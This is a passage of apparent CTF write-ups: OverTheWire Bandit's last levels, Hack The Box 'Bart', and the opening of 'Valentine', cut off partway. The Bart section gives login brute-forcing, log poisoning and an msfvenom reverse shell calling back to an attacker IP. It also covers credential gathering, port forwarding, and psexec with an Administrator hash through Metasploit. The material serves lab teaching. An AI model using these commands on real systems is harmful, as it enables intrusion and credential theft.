![[Image: 25.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-036PC8_Ddhg/XI9Xc76_rUI/AAAAAAAAdjs/7-BDEZrn3WYGeXmw6bbG8Jp0cpkxQq2dgCLcBGAs/s1600/25.png?w=687&ssl=1)
Now that we have the password for the next level, we will login as bandit29 using SSH.
ssh bandit29@localhost
1
ssh bandit29@localhost
![[Image: 26.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-T7jgIKp-zvg/XI9Xdjj6yII/AAAAAAAAdjw/I05r9WvlpP8BG-BsljDS05ayuDBtmVlEwCLcBGAs/s1600/26.png?w=687&ssl=1)
Level 29-30
On this level, we are informed that there is a git repository and the password for that repository is the same password that was used to login in as user bandit29. We are required to clone the repository. Now we need to have the write permission to clone a repository. So, we create a directory in the tmp directory. Now we will clone the repository inside this directory.
mkdir /tmp/pavan6
cd /tmp/pavan6
git clone ssh://bandit29-git@localhost/home/bandit29-git/repo
1
2
3
mkdir /tmp/pavan6
cd /tmp/pavan6
git clone ssh://bandit29-git@localhost/home/bandit29-git/repo
![[Image: 27.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-m1GrWMhJijc/XI9Xd0AbHLI/AAAAAAAAdj4/TJ-Av8irOdkBmvNGgBRAaQITanV1Vn_2gCLcBGAs/s1600/27.png?w=687&ssl=1)
After cloning let’s list all the file in the repo. We find a README file. Here we are told that there is no password in production. Now its time to enumerate this git.
ls
cd repo/
ls
cat README.md
1
2
3
4
ls
cd repo/
ls
cat README.md
![[Image: 28.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-37AxontL1_0/XI9Xd9v5epI/AAAAAAAAdj0/1Z_twLbVcOkFTsHz6aWt-rupGgAibKMEQCLcBGAs/s1600/28.png?w=687&ssl=1)
We list all the branches in this git using the git branch command. It shows us that we. have another branch called dev. Let’s check out this branch for the password. After switching to this branch, we run ls command to see that we have a README file. Upon reading that file we get the credentials.
git branch -a
git checkout dev
cat README.md
1
2
3
git branch -a
git checkout dev
cat README.md
![[Image: 29.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-2-Lk-I8sZW4/XI9XedmmTFI/AAAAAAAAdj8/zPipKqfTruAmcncHad1hE1MAo9-9-aLVACLcBGAs/s1600/29.png?w=687&ssl=1)
Now that we have the password for the next level, we will login as bandit30 using SSH.
ssh bandit30@localhost
1
ssh bandit30@localhost
![[Image: 30.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-z5eppOZTgEU/XI9Xeu2dHJI/AAAAAAAAdkE/5GpBXBDhNKgMKfn2lPwNOpReb4v5lR6oQCLcBGAs/s1600/30.png?w=687&ssl=1)
Level 30-31
On this level, we are informed that there is a git repository and the password for that repository is the same password that was used to login in as user bandit30. We are required to clone the repository. Now we need to have the write permission to clone a repository. So, we create a directory in the tmp directory. Now we will clone the repository inside this directory.
mkdir /tmp/pavan7
cd /tmp/pavan7
git clone ssh://bandit30-git@localhost/home/bandit30-git/repo
1
2
3
mkdir /tmp/pavan7
cd /tmp/pavan7
git clone ssh://bandit30-git@localhost/home/bandit30-git/repo
![[Image: 31.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-XsPCkAzPLh4/XI9XfAUZRCI/AAAAAAAAdkI/oyPQWWJ3RmUNONiH5LjQYLaCIXtUSpCjACLcBGAs/s1600/31.png?w=687&ssl=1)
After cloning let’s list all the file in the repo. We find a README file. Here we are told that it is an empty file. Now it’s time to enumerate this git. Git has the ability to tag specific points in a repository’s history as being important. We can enumerate that tag. On looking carefully, we find the tag secret. On reading that tag we find the password we were looking for on this level. Now that we have the password for the next level, we will login as bandit31 using SSH.
ls
cd repo
ls
cat README.md
git tag
git show secret
ssh bandit31@localhost
1
2
3
4
5
6
7
ls
cd repo
ls
cat README.md
git tag
git show secret
ssh bandit31@localhost
![[Image: 32.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-ymD4UiPyXlI/XI9XfGXfmPI/AAAAAAAAdkM/NyTnVW4jfoYq5S-1U2bSKc5pAO-rn3MZwCLcBGAs/s1600/32.png?w=687&ssl=1)
Level 31-32
On this level, we are informed that there is a git repository and the password for that repository is the same password that was used to login in as user bandit31. We are required to clone the repository. Now we need to have the write permission to clone a repository. So, we create a directory in the tmp directory. Now we will clone the repository inside this directory.
mkdir /tmp/pavan8
cd /tmp/pavan8
git clone ssh://bandit31-git@localhost/home/bandit31-git/repo
1
2
3
mkdir /tmp/pavan8
cd /tmp/pavan8
git clone ssh://bandit31-git@localhost/home/bandit31-git/repo
![[Image: 33.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-gpyxsV7Hfrk/XI9XfT99i0I/AAAAAAAAdkQ/B3r2zv-MO-0t7xgxbDYwm2_LmF8Wc-yCACLcBGAs/s1600/33.png?w=687&ssl=1)
After cloning let’s list all the file in the repo. We find a README file. Here we are told that in order to get the password for the next level, we have to push a file in the remote repository. This file must be named key.txt and should contain the content May I come in?
ls
cd repo/
ls
cat README.md
nano key.txt
1
2
3
4
5
ls
cd repo/
ls
cat README.md
nano key.txt
![[Image: 34.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-fkqqoadgfas/XI9XhT0cccI/AAAAAAAAdkc/sf7N89Oto_oe1iuoBj50KaesmAiVcxdhACLcBGAs/s1600/34.png?w=687&ssl=1)
So, we create a text file name key using nano and enter the phrase “May I come in?” in it.
![[Image: 35.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-jAIC1jgZ9bU/XI9XgUrll8I/AAAAAAAAdkU/adP5g_FE9TUvUCWvhiBWimu_oJF7X4_4QCLcBGAs/s1600/35.png?w=687&ssl=1)
Now we add the file to the repository and commit to that entry. And finally, push it into the origin branch. This step requires the password for the current user. As we can see in the given image that we have the password for the next level.
git add -f key.txt
git commit -m "."
git push origin
1
2
3
git add -f key.txt
git commit -m "."
git push origin
![[Image: 36.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-VGwzUK9xeRM/XI9Xgcw92zI/AAAAAAAAdkY/R8dsFbk5JM0rMD3xoQt1petQizWhCkoDwCLcBGAs/s1600/36.png?w=687&ssl=1)
Now that we have the password for the next level, we will login as bandit32 using SSH.
ssh bandit32@localhost
1
ssh bandit32@localhost
![[Image: 37.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-wSfh1fNt0aQ/XI9Xh5IWszI/AAAAAAAAdkg/ySHYvcwPjHELe2dVbmQjFM5RdxZdLKQ-ACLcBGAs/s1600/37.png?w=687&ssl=1)
Level 32-33
On reaching this level, we are greeted with a message “Welcome to the Uppercase shell”. To understand what it does, we ran ls command but we got an error. On close inspection of the error message, we understand that it states that the LS command is not found. It means that the shell converts my commands to Uppercase before executing. For this level, we are given a hint “it’s time for another escape”. This made us curious about escape characters. Upon brief research, we found that we can bypass this uppercase shell using an escape character ‘$0’. We were right. We got the bash. Let’s list all files using ls -al command. We see that the owner of uppercase is bandit33. So, we can access the /etc/bandit_pass/bandit33 file to get the password for the next level. After getting the password, we will login as bandit33 using SSH.
ls
$0
ls -al
cat /etc/bandit_pass/bandit33
ssh bandit33@localhost
1
2
3
4
5
ls
$0
ls -al
cat /etc/bandit_pass/bandit33
ssh bandit33@localhost
![[Image: 38.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-2d5MV6nezyQ/XI9XiENtcKI/AAAAAAAAdkk/NulVzT-myVYhjOs_L-29lk2QP5Bsd3XYgCLcBGAs/s1600/38.png?w=687&ssl=1)
Level 33
This is the final level for now as the bandit team is working on creating more levels. We connected to this level as use bandit33. After connecting we run ls command to see the list of files we have in the current directory. We see that we have a README file. On opening that file, we see the final flag and a brief message from the Over the Wire Team. This concludes this series for now. We will solve more levels as soon as Over the Wire team publishes more levels.
ls
cat README.txt
1
2
ls
cat README.txt
![[Image: 39.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-Wvv-7r8ItDY/XI9XiOcbaLI/AAAAAAAAdko/5pmNkIP1YeoiT5lNNXNMdDGwK497ibPsgCLcBGAs/s1600/39.png?w=687&ssl=1)
Hello friends!! Today we are going to solve another CTF challenge “Bart” which is available online for those who want to increase their skill in penetration testing and black box testing. Bart is a retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.81 so let’s begin with nmap port enumeration.
nmap -sV 10.10.10.81
1
nmap -sV 10.10.10.81
From the given below image, you can observe we find only port 80 is open on the target system.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-juCfXlx4ZQk/W2Q2EpmoweI/AAAAAAAAZGw/TJBRIiquLVkLjv2vJy6Q3kiUh_4FIBvGQCLcBGAs/s1600/1.png?w=687&ssl=1)
As port 80 is running http, we open the IP address in our browser. As soon as we open the IP address we get redirected to “forum.bart.htb”.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-sy8ieM8EXEA/W2Q2HMIZFVI/AAAAAAAAZHU/YAOfIk5ZGtscNpVUbAU5ywxjZKafVzpVgCLcBGAs/s1600/2.png?w=687&ssl=1)
Since htb doesn’t have global DNS, we aren’t going to be able to resolve the site. So we add a DNS entry in our /etc/hosts file to point 10.10.10.81 to both bart.htb and forum.bart.htb.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-bQos1UAPRWw/W2Q2JHy7GCI/AAAAAAAAZH8/TE71EL1w6IIqWzvKOxY2PnwSQzW_M9p-QCLcBGAs/s1600/3.png?w=687&ssl=1)
When we open forum.bart.htb, we find a website that has been built on WordPress.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-x5lE77MZcGQ/W2Q2LEjM-cI/AAAAAAAAZIk/F0FKJ234N0cQS0dMScrq0ZgqipK9C02fgCLcBGAs/s1600/4.png?w=687&ssl=1)
When we open bart.htb it redirects us to forum.bart.htb. We enumerate directories for both domains and find a directory called “/monitor” for domain bart.htb.
dirb [To see content please register here]
1
dirb [To see content please register here]
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-uizGv_weBUo/W2Q2LgpeaWI/AAAAAAAAZIw/56v-gUVa9dEnruZl6d7wuLNtS3ZS60AIACLcBGAs/s1600/6.png?w=687&ssl=1)
When we open /monitor directory given by dirb scan and find a login page
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-q4EbT-Kalyo/W2Q2Lv4hqHI/AAAAAAAAZI0/DG1NT6dbjpQ9xtRMMop2y8wuGVLzeyynQCLcBGAs/s1600/7.png?w=687&ssl=1)
We use burpsuite to brute force the login page using an /usr/share/wordlists/metasploit/common-root.txt dictionary and find the credentials to be harvery:potter.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-ZTIW56q_o1A/W2Q2MMysm8I/AAAAAAAAZI4/Czgf3fACLp49OgKo7tbJhS3BQtGa6eJQACLcBGAs/s1600/8.png?w=687&ssl=1)
We login using these credentials and get redirected to a different domain called monitor.bart.htb.
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-WcXztdwWEpk/W2Q2EoFGsVI/AAAAAAAAZG4/Ej4O_SGvUo8S61JHShEiKsouC81ZJcnvQCLcBGAs/s1600/12.png?w=687&ssl=1)
We add the domain name monitor.bart.htb in /etc/hosts file.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-xaELhOQzouI/W2Q2ElwEE0I/AAAAAAAAZG0/hpzMD1bmv4gQV2qEcXlZbUzfP1nyWc_HwCLcBGAs/s1600/13.png?w=687&ssl=1)
Now when we refresh the page we get a page for server monitoring.
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-gIcjVoelLuk/W2Q2FaYw7pI/AAAAAAAAZG8/dkyUMWurMMAZtyWrcVRa3ToaH4_XnjRhACLcBGAs/s1600/14.png?w=687&ssl=1)
Going through the page we find a link to a site and a domain we need to add to /etc/hosts.
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-UMI5qQv_IhE/W2Q2FTS4_rI/AAAAAAAAZHA/1j3B-YEZfy0yGKIsAbSn02M_0H3I0g5pQCLcBGAs/s1600/15.png?w=687&ssl=1)
We add domain internal-01.bart.htb we found earlier on the site to /etc/hosts.
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-pKt1Qy0sqXM/W2Q2FlLX92I/AAAAAAAAZHE/-RAzYGHYj-Yxe4C1eVte4WPLT_5twWMLACLcBGAs/s1600/16.png?w=687&ssl=1)
We now open internal-01.bart.htb and find a login form.
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-3psGVnfaoOY/W2Q2F7QGYsI/AAAAAAAAZHI/q6iEkViyjKUmu-DPjQY9wBEiAaBHX4roACLcBGAs/s1600/17.png?w=687&ssl=1)
We capture the login request using burpsuite and modify the request by changing login.php to register.php.
![[Image: 18.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-vflbIQQ8NzM/W2Q2GCAMgZI/AAAAAAAAZHM/n1pcztbiP5k9qy-GlrBgUvSpMQQ9NuvBACLcBGAs/s1600/18.png?w=687&ssl=1)
Then we login using the credentials we use to register and find a chat box.
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-x7TRjXvlx0M/W2Q2G3f51aI/AAAAAAAAZHQ/2YXlVVtfWfAs34JsN6RqcvVIH7TJwIRFQCLcBGAs/s1600/19.png?w=687&ssl=1)
We find a link to an open log link, we capture the request using burpsuite and when we look at the header it looks like filename parameter may be vulnerable to LFI.
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-Fw1rAWfsFrQ/W2Q2HKcMB7I/AAAAAAAAZHY/YaiaTO6U-5wbFtWscw70UTbAVnmE4OkegCLcBGAs/s1600/20.png?w=687&ssl=1)
We were not able to access any system file but we were able to access log.php and find access logs.
![[Image: 21.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-cVKtmce7P3M/W2Q2HpZ2zyI/AAAAAAAAZHc/ObTy_ocGcoElNq62ofcLfrEP5YSmRS4bQCLcBGAs/s1600/21.png?w=687&ssl=1)
Now we use log poisoning to get a reverse shell. We change the user-agent to run the whoami command, when we run the command we get the user name.
![[Image: 22.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-sgAdyXktPrA/W2Q2H2puOwI/AAAAAAAAZHg/pXEJoM_5W7AL-vzXHjiXpUOcvpWsvqBmgCLcBGAs/s1600/22.png?w=687&ssl=1)
We were not able to get reverse shell using web delivery, so we first create a reverse shell using msfvenom
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.6 lport=4444 -f exe > shell.exe
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.6 lport=4444 -f exe > shell.exe
![[Image: 23.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-zLrtDH5psRc/W2Q2H14y5bI/AAAAAAAAZHk/pqV0U48ecHs0XqaZ7QEBT83GWheIMA_rwCLcBGAs/s1600/23.png?w=687&ssl=1)
After creating our shell, we upload the payload to the target machine using PowerShell. First we set up our HTTP server using python.
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 24.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-giEsyn_sZic/W2Q2IJ5pB7I/AAAAAAAAZHo/10lMTeiXuuUHMXW5CakJJZ1_Ml-n59JQACLcBGAs/s1600/24.png?w=687&ssl=1)
![[Image: 25.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-qc1eFk65Hag/W2Q2IYL-AhI/AAAAAAAAZHs/Mrs4eWQIN4Y_xAK4uHnZVa_c5qHU5bRKgCLcBGAs/s1600/25.png?w=687&ssl=1)
We set up our listener using Metasploit before executing the target machine.
msf > use exploit/multi/handler
msf > exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf > exploit(multi/handler) > set lhost 10.10.14.6
msf > exploit(multi/handler) > set lport 4444
msf > exploit(multi/handler) > run
1
2
3
4
5
msf > use exploit/multi/handler
msf > exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf > exploit(multi/handler) > set lhost 10.10.14.6
msf > exploit(multi/handler) > set lport 4444
msf > exploit(multi/handler) > run
![[Image: 26.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-6FWEMCqbjjQ/W2Q2ISFo3OI/AAAAAAAAZHw/wdzE_HMI5zQo2uDrlgEoKjDN6yP7-7lQwCLcBGAs/s1600/26.png?w=687&ssl=1)
After uploading our shell and setting up our listener, we now execute the payload using log poisoning.
![[Image: 27.1.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-BB2L1RtGDuo/W2Q2IoR-ihI/AAAAAAAAZH0/P6-MudrWDHQl3fiR0bLYY3iBejSxG3LdQCLcBGAs/s1600/27.1.png?w=687&ssl=1)
As soon as we execute the payload we get our reverse shell.
![[Image: 27.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-HoHJrZv0qFE/W2Q2JNLOZdI/AAAAAAAAZH4/GZWXMdGCu58zhIfRXCnP4-oauCQdKdNNQCLcBGAs/s1600/27.png?w=687&ssl=1)
After we get the reverse shell we find that the system is 64-bit architecture so we change the payload type to 64-bit architecture.
msf > use windows/local/payload_inject
msf exploit(windows/local/payload_inject) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/payload_inject) > set lhost 10.10.14.6
msf exploit(windows/local/payload_inject) > set lport 1234
msf exploit(windows/local/payload_inject) > set session 1
msf exploit(windows/local/payload_inject) > run
1
2
3
4
5
6
msf > use windows/local/payload_inject
msf exploit(windows/local/payload_inject) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/payload_inject) > set lhost 10.10.14.6
msf exploit(windows/local/payload_inject) > set lport 1234
msf exploit(windows/local/payload_inject) > set session 1
msf exploit(windows/local/payload_inject) > run
![[Image: 31.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-N4E1oJoQLfE/W2Q2JZlsY1I/AAAAAAAAZIA/o0i4nvl9CxwmjCQ5btXG9LYMmwirAptBgCLcBGAs/s1600/31.png?w=687&ssl=1)
After running the exploit, we get a 64-bit meterpreter shell. Now we can run post modules properly as 32-bit meterpreter was running into problems.
![[Image: 32.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-fZr75mj0UX0/W2Q2Jsxjg8I/AAAAAAAAZIE/LENpAvHX09cCSZvc4tgDmFLCcE-QE-1vwCLcBGAs/s1600/32.png?w=687&ssl=1)
We use autologin post module to find the password for Administrator user.
msf > use windows/gather/credentials/windows_autologin
msf post(windows/gather/credentials/windows_autologin) > set session 2
msf post(windows/gather/credentials/windows_autologin) > run
1
2
3
msf > use windows/gather/credentials/windows_autologin
msf post(windows/gather/credentials/windows_autologin) > set session 2
msf post(windows/gather/credentials/windows_autologin) > run
![[Image: 33.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-uBOo5WUBPkw/W2Q2J1FU1AI/AAAAAAAAZII/dV0qdTk3Ux8x1Skzxt_T22j49LUnFIy1QCLcBGAs/s1600/33.png?w=687&ssl=1)
Now enumerating the target machine, we find that port 445 is running internally. So we use port forwarding so that we can use our machine to connect with it.
meterpreter > portfwd add -l 443 -p 445 -r 10.10.10.81
1
meterpreter > portfwd add -l 443 -p 445 -r 10.10.10.81
![[Image: 34.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Sqig9rCDCn0/W2Q2KG0RHMI/AAAAAAAAZIM/X4_LF9k8QtAlYj8nW8zU3lbSXwWJtAE5QCLcBGAs/s1600/34.png?w=687&ssl=1)
Now we use impacket-smbserver to create an smb server in our machine. So that we can share our /root directory with the target machine as our shell that we created earlier can be run on the target machine.
impacket-smbserver hack /root
1
impacket-smbserver hack /root
![[Image: 35.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-NuKy2002XS0/W2Q2KLIjz7I/AAAAAAAAZIQ/91sJquyo12UDSc3MIKhtgJEbv-jnjjsKwCLcBGAs/s1600/35.png?w=687&ssl=1)
Now the session we had earlier died so port 4444 is free. So we are going to use that payload to get our reverse shell. First, we run Metasploit in a new tab and set up our listener.
msf > use multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.6
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run
1
2
3
4
5
msf > use multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.6
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run
![[Image: 37.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-CN6O7679278/W2Q2KvSB4dI/AAAAAAAAZIY/o_14f9IZ9Nc0anFjnKvWBSfTlytJjMXXACLcBGAs/s1600/37.png?w=687&ssl=1)
Now we use psexec auxiliary to run our payload hosted on our system.
msf > use auxiliary/admin/smb/psexec_command
msf auxiliary(admin/smb/psexec_command) > set SMBUser Administrator
msf auxiliary(admin/smb/psexec_command) > set SMBPass 3130438f31186fbaf962f407711faddb
msf auxiliary(admin/smb/psexec_command) > set COMMAND \\\\10.10.14.6\\\hack\\\shell.exe
msf auxiliary(admin/smb/psexec_command) > set rhosts 127.0.0.1
msf auxiliary(admin/smb/psexec_command) > set rport 443
msf auxiliary(admin/smb/psexec_command) > run
1
2
3
4
5
6
7
msf > use auxiliary/admin/smb/psexec_command
msf auxiliary(admin/smb/psexec_command) > set SMBUser Administrator
msf auxiliary(admin/smb/psexec_command) > set SMBPass 3130438f31186fbaf962f407711faddb
msf auxiliary(admin/smb/psexec_command) > set COMMAND \\\\10.10.14.6\\\hack\\\shell.exe
msf auxiliary(admin/smb/psexec_command) > set rhosts 127.0.0.1
msf auxiliary(admin/smb/psexec_command) > set rport 443
msf auxiliary(admin/smb/psexec_command) > run
![[Image: 36.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-vn-1p23Tz_c/W2Q2KY2CcaI/AAAAAAAAZIU/8T8W3UV2XIQjvBhToYCPEbQ8H87_ophTwCLcBGAs/s1600/36.png?w=687&ssl=1)
As soon as we run psexec auxiliary we get a reverse shell with as an administrator.
![[Image: 38.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-4zsKzjzEsA4/W2Q2Kh5oHzI/AAAAAAAAZIc/iykmckDLIRk96v18Yc6uCHvIodCbAUjDwCLcBGAs/s1600/38.png?w=687&ssl=1)
In c:\Users\Administrator\Desktop we find a file called root.txt when we open it and find our first flag.
![[Image: 39.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-EO4IS-sQrOM/W2Q2KqdKC9I/AAAAAAAAZIg/WllrMVFteU4aezgZp1HsKdU5MZ-nCUQwQCLcBGAs/s1600/39.png?w=687&ssl=1)
Enumerating the system in c:\Users\h.potter, we find a file called user.txt. When we take a look at the content of the file we get our second flag.
![[Image: 40.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-l8l9sOTMYpU/W2Q-FGChdTI/AAAAAAAAZJY/1NUhXCnh2fYpJ57VgYj1lmTxSnj2XOOtwCLcBGAs/s1600/40.png?w=687&ssl=1)
Hello friends! Today we are going to solve the CTF challenge “Valentine” which is a vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have a very good collection of vulnerable labs as challenges from beginners to Expert level.
Difficulty Level: Medium
Task: find user.txt and root.txt file on victim’s machine.
Steps involved:
- Port scanning and services detection
- Web server directory enumeration
- Discovery of hex encoded ssh key
- Decoding key
- Finding Passphrase
- Capturing user flag
- Capturing root flag
This lab has a static IP and IP of 10.10.10.79. So let’s start the CTF challenge with port scanning.
nmap –A 10.10.10.79
1
nmap –A 10.10.10.79
From its scanning result we found port 22 and 80 are open for ssh and http services.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-CKE6Y-yIMcc/W2CTAx6yvbI/AAAAAAAAYzA/rMxVKhnUKdMcvl1Nv_VkLp5b5nlZsaengCLcBGAs/s1600/1.png?w=687&ssl=1)
Let’s enumerate the web service running on port 80. The below image could be a hint, there is a heart and blood. Does it mean heartbleed? Could be! Let’s enumerate further.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-yLkOS81_MyA/W2CTC2nVuTI/AAAAAAAAYzY/r8Qi3KDhdvQgvclUMpeJEhNUoZqu8rsewCLcBGAs/s1600/2.png?w=687&ssl=1)
Let’s see what we can find by directory brute forcing:
dirb [To see content please register here]
1
dirb [To see content please register here]
It put so many files but /dev looks more interesting so Lets browse [To see content please register here] .
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-Efdbwyb8ZmE/W2CTDKTLwNI/AAAAAAAAYzg/zbWRN6TDA0EotZjc6d_vISUBFtlMkldEACLcBGAs/s1600/3.png?w=687&ssl=1)
Great we found some directories here. Let’s manually check these directories one by one. The directory “dev” seems very interesting, There are two files as shown in the below images.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-5jbaXf27j6w/W2CTDNKcdSI/AAAAAAAAYzc/Zk7KGfc5WvQDqk6NMwHTqnx8CoOGp5xJQCLcBGAs/s1600/4.png?w=687&ssl=1)
Firstly I opened notes.txt file as shown in the below image, it seems there is some encoding and decoding is involved.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-3ntRYxoasEY/W2CTD3jodbI/AAAAAAAAYzk/A1Ddiu-KXNY_QDjvaIzeA7lAHZylS1N5wCLcBGAs/s1600/5.png?w=687&ssl=1)
Then we opened another file hype_key and notice found encoded hex text, let’s convert it into plain text and see if it makes any sense.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-Fe0wp-MNQNU/W2CTETY2lwI/AAAAAAAAYzs/P_2L5GtCYO872kTmxJ8EIOcSLVMWZml_gCLcBGAs/s1600/6.png?w=687&ssl=1)
With help of burp we try to decode above hex into plain text as shown in the image. So it’s a RSA private key, but it has space after each character, which needs to be fixed.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-drBWjGkHajw/W2CTEPzcUKI/AAAAAAAAYzo/mBypM9UIEJko5_5ZJ8rsdp27gWadzaAfwCLcBGAs/s1600/7.png?w=687&ssl=1)
After removing space using sed command, we get our key as shown in the image below. Now all we need is a passphrase.
sed 's/ //g' key> sshkey
cat sshkey
1
2
sed 's/ //g' key> sshkey
cat sshkey
|
|
|
|
|